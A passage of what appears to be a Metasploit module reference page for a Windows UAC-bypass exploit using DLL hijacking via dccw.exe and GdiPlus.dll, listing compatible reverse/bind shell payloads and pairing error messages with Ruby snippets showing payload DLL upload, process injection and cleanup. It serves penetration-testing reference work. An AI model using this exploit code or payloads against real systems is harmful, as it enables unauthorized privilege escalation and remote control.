94 payload/windows/patchupmeterpreter/reverse_nonx_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (No NX or Win7)
95 payload/windows/patchupmeterpreter/reverse_ord_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse Ordinal TCP Stager (No NX or Win7)
96 payload/windows/patchupmeterpreter/reverse_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager
97 payload/windows/patchupmeterpreter/reverse_tcp_allports normal No Windows Meterpreter (skape/jt Injection), Reverse All-Port TCP Stager
98 payload/windows/patchupmeterpreter/reverse_tcp_dns normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (DNS)
99 payload/windows/patchupmeterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
100 payload/windows/patchupmeterpreter/reverse_tcp_rc4_dns normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
101 payload/windows/patchupmeterpreter/reverse_tcp_uuid normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager with UUID Support
102 payload/windows/peinject/bind_hidden_ipknock_tcp normal No Windows Inject PE Files, Hidden Bind Ipknock TCP Stager
103 payload/windows/peinject/bind_hidden_tcp normal No Windows Inject PE Files, Hidden Bind TCP Stager
104 payload/windows/peinject/bind_ipv6_tcp normal No Windows Inject PE Files, Bind IPv6 TCP Stager (Windows x86)
105 payload/windows/peinject/bind_ipv6_tcp_uuid normal No Windows Inject PE Files, Bind IPv6 TCP Stager with UUID Support (Windows x86)
106 payload/windows/peinject/bind_named_pipe normal No Windows Inject PE Files, Windows x86 Bind Named Pipe Stager
107 payload/windows/peinject/bind_nonx_tcp normal No Windows Inject PE Files, Bind TCP Stager (No NX or Win7)
108 payload/windows/peinject/bind_tcp normal No Windows Inject PE Files, Bind TCP Stager (Windows x86)
109 payload/windows/peinject/bind_tcp_rc4 normal No Windows Inject PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
110 payload/windows/peinject/bind_tcp_uuid normal No Windows Inject PE Files, Bind TCP Stager with UUID Support (Windows x86)
111 payload/windows/peinject/reverse_ipv6_tcp normal No Windows Inject PE Files, Reverse TCP Stager (IPv6)
112 payload/windows/peinject/reverse_named_pipe normal No Windows Inject PE Files, Windows x86 Reverse Named Pipe (SMB) Stager
113 payload/windows/peinject/reverse_nonx_tcp normal No Windows Inject PE Files, Reverse TCP Stager (No NX or Win7)
114 payload/windows/peinject/reverse_ord_tcp normal No Windows Inject PE Files, Reverse Ordinal TCP Stager (No NX or Win7)
115 payload/windows/peinject/reverse_tcp normal No Windows Inject PE Files, Reverse TCP Stager
116 payload/windows/peinject/reverse_tcp_allports normal No Windows Inject PE Files, Reverse All-Port TCP Stager
117 payload/windows/peinject/reverse_tcp_dns normal No Windows Inject PE Files, Reverse TCP Stager (DNS)
118 payload/windows/peinject/reverse_tcp_rc4 normal No Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
119 payload/windows/peinject/reverse_tcp_rc4_dns normal No Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
120 payload/windows/peinject/reverse_tcp_uuid normal No Windows Inject PE Files, Reverse TCP Stager with UUID Support
121 payload/windows/powershell_bind_tcp normal No Windows Interactive Powershell Session, Bind TCP
122 payload/windows/powershell_reverse_tcp normal No Windows Interactive Powershell Session, Reverse TCP
123 payload/windows/shell/bind_hidden_ipknock_tcp normal No Windows Command Shell, Hidden Bind Ipknock TCP Stager
124 payload/windows/shell/bind_hidden_tcp normal No Windows Command Shell, Hidden Bind TCP Stager
125 payload/windows/shell/bind_ipv6_tcp normal No Windows Command Shell, Bind IPv6 TCP Stager (Windows x86)
126 payload/windows/shell/bind_ipv6_tcp_uuid normal No Windows Command Shell, Bind IPv6 TCP Stager with UUID Support (Windows x86)
127 payload/windows/shell/bind_named_pipe normal No Windows Command Shell, Windows x86 Bind Named Pipe Stager
128 payload/windows/shell/bind_nonx_tcp normal No Windows Command Shell, Bind TCP Stager (No NX or Win7)
129 payload/windows/shell/bind_tcp normal No Windows Command Shell, Bind TCP Stager (Windows x86)
130 payload/windows/shell/bind_tcp_rc4 normal No Windows Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
131 payload/windows/shell/bind_tcp_uuid normal No Windows Command Shell, Bind TCP Stager with UUID Support (Windows x86)
132 payload/windows/shell/reverse_ipv6_tcp normal No Windows Command Shell, Reverse TCP Stager (IPv6)
133 payload/windows/shell/reverse_nonx_tcp normal No Windows Command Shell, Reverse TCP Stager (No NX or Win7)
134 payload/windows/shell/reverse_ord_tcp normal No Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)
135 payload/windows/shell/reverse_tcp normal No Windows Command Shell, Reverse TCP Stager
136 payload/windows/shell/reverse_tcp_allports normal No Windows Command Shell, Reverse All-Port TCP Stager
137 payload/windows/shell/reverse_tcp_dns normal No Windows Command Shell, Reverse TCP Stager (DNS)
138 payload/windows/shell/reverse_tcp_rc4 normal No Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
139 payload/windows/shell/reverse_tcp_rc4_dns normal No Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
140 payload/windows/shell/reverse_tcp_uuid normal No Windows Command Shell, Reverse TCP Stager with UUID Support
141 payload/windows/shell/reverse_udp normal No Windows Command Shell, Reverse UDP Stager with UUID Support
142 payload/windows/shell_bind_tcp normal No Windows Command Shell, Bind TCP Inline
143 payload/windows/shell_bind_tcp_xpfw normal No Windows Disable Windows ICF, Command Shell, Bind TCP Inline
144 payload/windows/shell_hidden_bind_tcp normal No Windows Command Shell, Hidden Bind TCP Inline
145 payload/windows/shell_reverse_tcp normal No Windows Command Shell, Reverse TCP Inline
146 payload/windows/speak_pwned normal No Windows Speech API - Say "You Got Pwned!"
147 payload/windows/upexec/bind_hidden_ipknock_tcp normal No Windows Upload/Execute, Hidden Bind Ipknock TCP Stager
148 payload/windows/upexec/bind_hidden_tcp normal No Windows Upload/Execute, Hidden Bind TCP Stager
149 payload/windows/upexec/bind_ipv6_tcp normal No Windows Upload/Execute, Bind IPv6 TCP Stager (Windows x86)
150 payload/windows/upexec/bind_ipv6_tcp_uuid normal No Windows Upload/Execute, Bind IPv6 TCP Stager with UUID Support (Windows x86)
151 payload/windows/upexec/bind_named_pipe normal No Windows Upload/Execute, Windows x86 Bind Named Pipe Stager
152 payload/windows/upexec/bind_nonx_tcp normal No Windows Upload/Execute, Bind TCP Stager (No NX or Win7)
153 payload/windows/upexec/bind_tcp normal No Windows Upload/Execute, Bind TCP Stager (Windows x86)
154 payload/windows/upexec/bind_tcp_rc4 normal No Windows Upload/Execute, Bind TCP Stager (RC4 Stage Encryption, Metasm)
155 payload/windows/upexec/bind_tcp_uuid normal No Windows Upload/Execute, Bind TCP Stager with UUID Support (Windows x86)
156 payload/windows/upexec/reverse_ipv6_tcp normal No Windows Upload/Execute, Reverse TCP Stager (IPv6)
157 payload/windows/upexec/reverse_nonx_tcp normal No Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)
158 payload/windows/upexec/reverse_ord_tcp normal No Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)
159 payload/windows/upexec/reverse_tcp normal No Windows Upload/Execute, Reverse TCP Stager
160 payload/windows/upexec/reverse_tcp_allports normal No Windows Upload/Execute, Reverse All-Port TCP Stager
161 payload/windows/upexec/reverse_tcp_dns normal No Windows Upload/Execute, Reverse TCP Stager (DNS)
162 payload/windows/upexec/reverse_tcp_rc4 normal No Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
163 payload/windows/upexec/reverse_tcp_rc4_dns normal No Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
164 payload/windows/upexec/reverse_tcp_uuid normal No Windows Upload/Execute, Reverse TCP Stager with UUID Support
165 payload/windows/upexec/reverse_udp normal No Windows Upload/Execute, Reverse UDP Stager with UUID Support
166 payload/windows/vncinject/bind_hidden_ipknock_tcp normal No VNC Server (Reflective Injection), Hidden Bind Ipknock TCP Stager
167 payload/windows/vncinject/bind_hidden_tcp normal No VNC Server (Reflective Injection), Hidden Bind TCP Stager
168 payload/windows/vncinject/bind_ipv6_tcp normal No VNC Server (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
169 payload/windows/vncinject/bind_ipv6_tcp_uuid normal No VNC Server (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
170 payload/windows/vncinject/bind_named_pipe normal No VNC Server (Reflective Injection), Windows x86 Bind Named Pipe Stager
171 payload/windows/vncinject/bind_nonx_tcp normal No VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7)
172 payload/windows/vncinject/bind_tcp normal No VNC Server (Reflective Injection), Bind TCP Stager (Windows x86)
173 payload/windows/vncinject/bind_tcp_rc4 normal No VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
174 payload/windows/vncinject/bind_tcp_uuid normal No VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
175 payload/windows/vncinject/reverse_hop_http normal No VNC Server (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
176 payload/windows/vncinject/reverse_http normal No VNC Server (Reflective Injection), Windows Reverse HTTP Stager (wininet)
177 payload/windows/vncinject/reverse_http_proxy_pstore normal No VNC Server (Reflective Injection), Reverse HTTP Stager Proxy
178 payload/windows/vncinject/reverse_ipv6_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager (IPv6)
179 payload/windows/vncinject/reverse_nonx_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)
180 payload/windows/vncinject/reverse_ord_tcp normal No VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
181 payload/windows/vncinject/reverse_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager
182 payload/windows/vncinject/reverse_tcp_allports normal No VNC Server (Reflective Injection), Reverse All-Port TCP Stager
183 payload/windows/vncinject/reverse_tcp_dns normal No VNC Server (Reflective Injection), Reverse TCP Stager (DNS)
184 payload/windows/vncinject/reverse_tcp_rc4 normal No VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
185 payload/windows/vncinject/reverse_tcp_rc4_dns normal No VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
186 payload/windows/vncinject/reverse_tcp_uuid normal No VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support
187 payload/windows/vncinject/reverse_winhttp normal No VNC Server (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
Evasion Options
Here is the full list of possible evasion options supported by the windows/local/bypassuac_injection_winsxs exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(windows/local/bypassuac_injection_winsxs) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
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Error Messages
This module may fail with the following error messages:
Error Messages
- UAC set to DoNotPrompt - using ShellExecute "runas" method instead
- x64 Target Selected for x86 System
- x86 Target Selected for x64 System
- Either whoami is not there or failed to execute
- Continuing under assumption you already checked...
- Not in admins group, cannot escalate with this module
- Cannot BypassUAC from Low Integrity Level
- Failed to Inject Payload to <PID>!
- Spawning Process failed...
- Error uploading file <DIRECTORYNAMES:0>: <E.CLASS> <E>
- Error! Cannot copy the payload to all the necessary folders! Continuing just in case it works...
- Already in elevated state
- <WINVER> is not vulnerable.
- Not in admins group, cannot escalate with this module
- Cannot create the directory "<VALUE>dccw.exe.Local"
- Cannot create the directory "<VALUE>dccw.exe.Local<DIRNAME>"
- Cannot get the targeted directories!
- GetLastError
- Cannot get the targeted directories!
- Error => <E.CLASS> - <E>
- Error => <E.CLASS> - <E>
- Error => <E.CLASS> - <E>
- Error => <E.CLASS> - <E>
- Error => <E.CLASS> - <E>
- Error => <E.CLASS> - <E>
- Unable to delete <ELEMENT>!
- Error => <E.CLASS> - <E>
- Could not delete some dropped elements! They will require manual cleanup on the target
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
UAC set to DoNotPrompt - using ShellExecute "runas" method instead
Here is a relevant code snippet related to the "UAC set to DoNotPrompt - using ShellExecute "runas" method instead" error message:
66: "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
67: when UAC_DEFAULT
68: print_good('UAC is set to Default')
69: print_good('BypassUAC can bypass this setting, continuing...')
70: when UAC_NO_PROMPT
71: print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
72: shell_execute_exe
73: return
74: end
75:
76: dll_path = bypass_dll_path
x64 Target Selected for x86 System
Here is a relevant code snippet related to the "x64 Target Selected for x86 System" error message:
99: path = ::File.join(Msf::Config.data_directory, 'post')
100:
101: sysarch = sysinfo['Architecture']
102: if sysarch == ARCH_X86
103: if (target_arch.first =~ /64/i) || (payload_instance.arch.first =~ /64/i)
104: fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')
105: else
106: ::File.join(path, "bypassuac-x86.dll")
107: end
108: else
109: unless (target_arch.first =~ /64/i) && (payload_instance.arch.first =~ /64/i)
x86 Target Selected for x64 System
Here is a relevant code snippet related to the "x86 Target Selected for x64 System" error message:
105: else
106: ::File.join(path, "bypassuac-x86.dll")
107: end
108: else
109: unless (target_arch.first =~ /64/i) && (payload_instance.arch.first =~ /64/i)
110: fail_with(Failure::BadConfig, 'x86 Target Selected for x64 System')
111: else
112: ::File.join(path, "bypassuac-x64.dll")
113: end
114: end
115: end
Either whoami is not there or failed to execute
Here is a relevant code snippet related to the "Either whoami is not there or failed to execute" error message:
119: # Check if you are an admin
120: vprint_status('Checking admin status...')
121: admin_group = is_in_admin_group?
122:
123: if admin_group.nil?
124: print_error('Either whoami is not there or failed to execute')
125: print_error('Continuing under assumption you already checked...')
126: else
127: if admin_group
128: print_good('Part of Administrators group! Continuing...')
129: else
Continuing under assumption you already checked...
Here is a relevant code snippet related to the "Continuing under assumption you already checked..." error message:
120: vprint_status('Checking admin status...')
121: admin_group = is_in_admin_group?
122:
123: if admin_group.nil?
124: print_error('Either whoami is not there or failed to execute')
125: print_error('Continuing under assumption you already checked...')
126: else
127: if admin_group
128: print_good('Part of Administrators group! Continuing...')
129: else
130: fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
Not in admins group, cannot escalate with this module
Here is a relevant code snippet related to the "Not in admins group, cannot escalate with this module" error message:
125: print_error('Continuing under assumption you already checked...')
126: else
127: if admin_group
128: print_good('Part of Administrators group! Continuing...')
129: else
130: fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
131: end
132: end
133:
134: if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
135: fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
Cannot BypassUAC from Low Integrity Level
Here is a relevant code snippet related to the "Cannot BypassUAC from Low Integrity Level" error message:
130: fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
131: end
132: end
133:
134: if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
135: fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
136: end
137: end
138:
139: # Inject and run the DLL within a trusted certificate signed process to invoke IFileOperation
140: def run_injection(pid, dll_path, file_paths)
Failed to Inject Payload to <PID>!
Here is a relevant code snippet related to the "Failed to Inject Payload to <PID>!" error message:
153: vprint_status('Executing payload')
154: thread = host_process.thread.create(exploit_mem + offset, struct_addr)
155: print_good("Successfully injected payload in to process: #{pid}")
156: client.railgun.kernel32.WaitForSingleObject(thread.handle, 14000)
157: rescue Rex::Post::Meterpreter::RequestError => e
158: print_error("Failed to Inject Payload to #{pid}!")
159: vprint_error(e.to_s)
160: end
161: end
162:
163: # Create a process in the native architecture
Spawning Process failed...
Here is a relevant code snippet related to the "Spawning Process failed..." error message:
169: cmd = "#{win_dir}\\System32\\notepad.exe"
170: end
171: pid = cmd_exec_get_pid(cmd)
172:
173: unless pid
174: fail_with(Failure::Unknown, 'Spawning Process failed...')
175: end
176:
177: pid
178: end
179:
Error uploading file <DIRECTORYNAMES:0>: <E.CLASS> <E>
Here is a relevant code snippet related to the "Error uploading file <DIRECTORYNAMES:0>: <E.CLASS> <E>" error message:
184: print_status('Uploading the Payload DLL to the filesystem...')
185: begin
186: vprint_status("Payload DLL #{payload.length} bytes long being uploaded...")
187: write_file(dllPath, payload)
188: rescue Rex::Post::Meterpreter::RequestError => e
189: fail_with(Failure::Unknown, "Error uploading file #{directoryNames[0]}: #{e.class} #{e}")
190: end
191:
192: if directoryNames.size > 1
193: copy_payload_dll(directoryNames, dllPath)
194: end
Error! Cannot copy the payload to all the necessary folders! Continuing just in case it works...
Here is a relevant code snippet related to the "Error! Cannot copy the payload to all the necessary folders! Continuing just in case it works..." error message:
196:
197: # Copy our DLL to all created folders, the first folder already have a copy of the DLL
198: def copy_payload_dll(directoryNames, dllPath)
199: 1.step(directoryNames.size - 1, 1) do |i|
200: if client.railgun.kernel32.CopyFileA(dllPath, "#{directoryNames[i]}\\GdiPlus.dll", false)['return'] == false
201: print_error("Error! Cannot copy the payload to all the necessary folders! Continuing just in case it works...")
202: end
203: end
204: end
205:
206: # Check if the environment is vulnerable to the exploit
Already in elevated state
Here is a relevant code snippet related to the "Already in elevated state" error message:
203: end
204: end
205:
206: # Check if the environment is vulnerable to the exploit
207: def validate_environment!
208: fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
209:
210: winver = sysinfo['OS']
211:
212: case winver
213: when /Windows (8|10)/
<WINVER> is not vulnerable.
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211:
212: case winver
213: when /Windows (8|10)/
214: print_good("#{winver} may be vulnerable.")
215: else
216: fail_with(Failure::NotVulnerable, "#{winver} is not vulnerable.")
217: end
218:
219: if is_uac_enabled?
220: print_status('UAC is Enabled, checking level...')
221: else
Not in admins group, cannot escalate with this module
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218:
219: if is_uac_enabled?
220: print_status('UAC is Enabled, checking level...')
221: else
222: unless is_in_admin_group?
223: fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
224: end
225: end
226: end
227:
228: # Creating the necessary directories to perform the DLL hijacking
Cannot create the directory "<VALUE>dccw.exe.Local"
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231: def create_directories(payload_filepath, directoryNames)
232: env_vars = get_envs('TEMP')
233:
234: print_status("Creating temporary folders...")
235: if client.railgun.kernel32.CreateDirectoryA(payload_filepath, nil)['return'] == 0
236: fail_with(Failure::Unknown, "Cannot create the directory \"#{env_vars['TEMP']}dccw.exe.Local\"")
237: end
238:
239: directoryNames.each do |dirName|
240: if client.railgun.kernel32.CreateDirectoryA(dirName, nil)['return'] == 0
241: fail_with(Failure::Unknown, "Cannot create the directory \"#{env_vars['TEMP']}dccw.exe.Local\\#{dirName}\"")
Cannot create the directory "<VALUE>dccw.exe.Local\<DIRNAME>"
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236: fail_with(Failure::Unknown, "Cannot create the directory \"#{env_vars['TEMP']}dccw.exe.Local\"")
237: end
238:
239: directoryNames.each do |dirName|
240: if client.railgun.kernel32.CreateDirectoryA(dirName, nil)['return'] == 0
241: fail_with(Failure::Unknown, "Cannot create the directory \"#{env_vars['TEMP']}dccw.exe.Local\\#{dirName}\"")
242: end
243: end
244: end
245:
246: # Get all the directories that match with the initial pattern
Cannot get the targeted directories!
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250: maxPath = client.railgun.const("MAX_PATH")
251: fileNamePadding = 44
252:
253: hFile = client.railgun.kernel32.FindFirstFileA(targetedDirectories, findFileDataSize)
254: if hFile['return'] == client.railgun.const("INVALID_HANDLE_VALUE")
255: fail_with(Failure::Unknown, "Cannot get the targeted directories!")
256: end
257:
258: findFileData = hFile['lpFindFileData']
259: moreFiles = true
260: until moreFiles == false do
GetLastError
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270: findNextFile = client.railgun.kernel32.FindNextFileA(hFile['return'], findFileDataSize)
271: moreFiles = findNextFile['return']
272: findFileData = findNextFile['lpFindFileData']
273: end
274:
275: if findNextFile['GetLastError'] != client.railgun.const("ERROR_NO_MORE_FILES")
276: fail_with(Failure::Unknown, "Cannot get the targeted directories!")
277: end
278:
279: directoryNames
280: end
Cannot get the targeted directories!
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271: moreFiles = findNextFile['return']
272: findFileData = findNextFile['lpFindFileData']
273: end
274:
275: if findNextFile['GetLastError'] != client.railgun.const("ERROR_NO_MORE_FILES")
276: fail_with(Failure::Unknown, "Cannot get the targeted directories!")
277: end
278:
279: directoryNames
280: end
281:
Error => <E.CLASS> - <E>
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355:
356: begin
357: droppedElements.push("#{dirName}\\GdiPlus.dll")
358: session.fs.file.rm("#{dirName}\\GdiPlus.dll")
359: rescue ::Rex::Post::Meterpreter::RequestError => e
360: vprint_error("Error => #{e.class} - #{e}")
361: end
362:
363: begin
364: droppedElements.push("#{file_paths[:szElevDllFull]}\\#{directoryName}\\GdiPlus.dll")
365: session.fs.file.rm("#{file_paths[:szElevDllFull]}\\#{directoryName}\\GdiPlus.dll")
Error => <E.CLASS> - <E>
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362:
363: begin
364: droppedElements.push("#{file_paths[:szElevDllFull]}\\#{directoryName}\\GdiPlus.dll")
365: session.fs.file.rm("#{file_paths[:szElevDllFull]}\\#{directoryName}\\GdiPlus.dll")
366: rescue ::Rex::Post::Meterpreter::RequestError => e
367: vprint_error("Error => #{e.class} - #{e}")
368: end
369: end
370: end
371:
372: # Remove folders from "C:\%TEMP%\dccw.exe.Local\" and "C:\Windows\System32\dccw.exe.Local\"
Error => <E.CLASS> - <E>
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376:
377: begin
378: droppedElements.push(dirName)
379: session.fs.dir.rmdir(dirName)
380: rescue ::Rex::Post::Meterpreter::RequestError => e
381: vprint_error("Error => #{e.class} - #{e}")
382: end
383:
384: begin
385: droppedElements.push("#{file_paths[:szElevDllFull]}\\#{directoryName}")
386: session.fs.dir.rmdir("#{file_paths[:szElevDllFull]}\\#{directoryName}")
Error => <E.CLASS> - <E>
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383:
384: begin
385: droppedElements.push("#{file_paths[:szElevDllFull]}\\#{directoryName}")
386: session.fs.dir.rmdir("#{file_paths[:szElevDllFull]}\\#{directoryName}")
387: rescue ::Rex::Post::Meterpreter::RequestError => e
388: vprint_error("Error => #{e.class} - #{e}")
389: end
390: end
391: end
392:
393: # Remove "C:\Windows\System32\dccw.exe.Local" folder
Error => <E.CLASS> - <E>
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394: def remove_dot_local_folders(session, file_paths, droppedElements)
395: begin
396: droppedElements.push(file_paths[:szTempDllPath])
397: session.fs.dir.rmdir(file_paths[:szTempDllPath])
398: rescue ::Rex::Post::Meterpreter::RequestError => e
399: vprint_error("Error => #{e.class} - #{e}")
400: end
401:
402: begin
403: droppedElements.push(file_paths[:szElevDllFull])
404: session.fs.dir.rmdir(file_paths[:szElevDllFull])
Error => <E.CLASS> - <E>
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401:
402: begin
403: droppedElements.push(file_paths[:szElevDllFull])
404: session.fs.dir.rmdir(file_paths[:szElevDllFull])
405: rescue ::Rex::Post::Meterpreter::RequestError => e
406: vprint_error("Error => #{e.class} - #{e}")
407: end
408: end
409:
410: # Check if have been successfully removed
411: def removal_checking(droppedElements)
Unable to delete <ELEMENT>!
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413:
414: droppedElements.each do |element|
415: begin
416: stat = session.fs.file.stat(element)
417: if stat
418: print_error("Unable to delete #{element}!")
419: successfullyRemoved = false
420: end
421: rescue ::Rex::Post::Meterpreter::RequestError => e
422: vprint_error("Error => #{e.class} - #{e}")
423: end
Error => <E.CLASS> - <E>
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417: if stat
418: print_error("Unable to delete #{element}!")
419: successfullyRemoved = false
420: end
421: rescue ::Rex::Post::Meterpreter::RequestError => e
422: vprint_error("Error => #{e.class} - #{e}")
423: end
424: end
425:
426: if successfullyRemoved
427: print_good("All the dropped elements have been successfully removed")
Could not delete some dropped elements! They will require manual cleanup on the target
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422: vprint_error("Error => #{e.class} - #{e}")
423: end
424: end
425:
426: if successfullyRemoved
427: print_good("All the dropped elements have been successfully removed")
428: else
429: print_warning("Could not delete some dropped elements! They will require manual cleanup on the target")
430: end
431: end
432: end
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Related Pull Requests
- #14202 Merged Pull Request: Implement the zeitwerk autoloader within lib/msf/core
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #12294 Merged Pull Request: add url for fodhelper
- #12205 Merged Pull Request: Update module and generate splats from http:// to https://
- #8509 Merged Pull Request: Add bypassuac_injection_winsxs.rb module
References
See Also
Check also the following modules related to this module:
- exploit/windows/local/bypassuac_comhijack
- exploit/windows/local/bypassuac_dotnet_profiler
- exploit/windows/local/bypassuac_eventvwr
- exploit/windows/local/bypassuac_fodhelper
- exploit/windows/local/bypassuac_injection
- exploit/windows/local/bypassuac_sdclt
- exploit/windows/local/bypassuac_silentcleanup
- exploit/windows/local/bypassuac_sluihijack
- exploit/windows/local/bypassuac_vbs
- exploit/windows/local/bypassuac_windows_store_filesys
- exploit/windows/local/bypassuac_windows_store_reg
- exploit/windows/local/bypassuac
- exploit/windows/http/generic_http_dll_injection
- exploit/windows/smb/generic_smb_dll_injection
Authors
- Ernesto Fernandez "L3cr0f" <ernesto.fernpro[at]gmail.com>
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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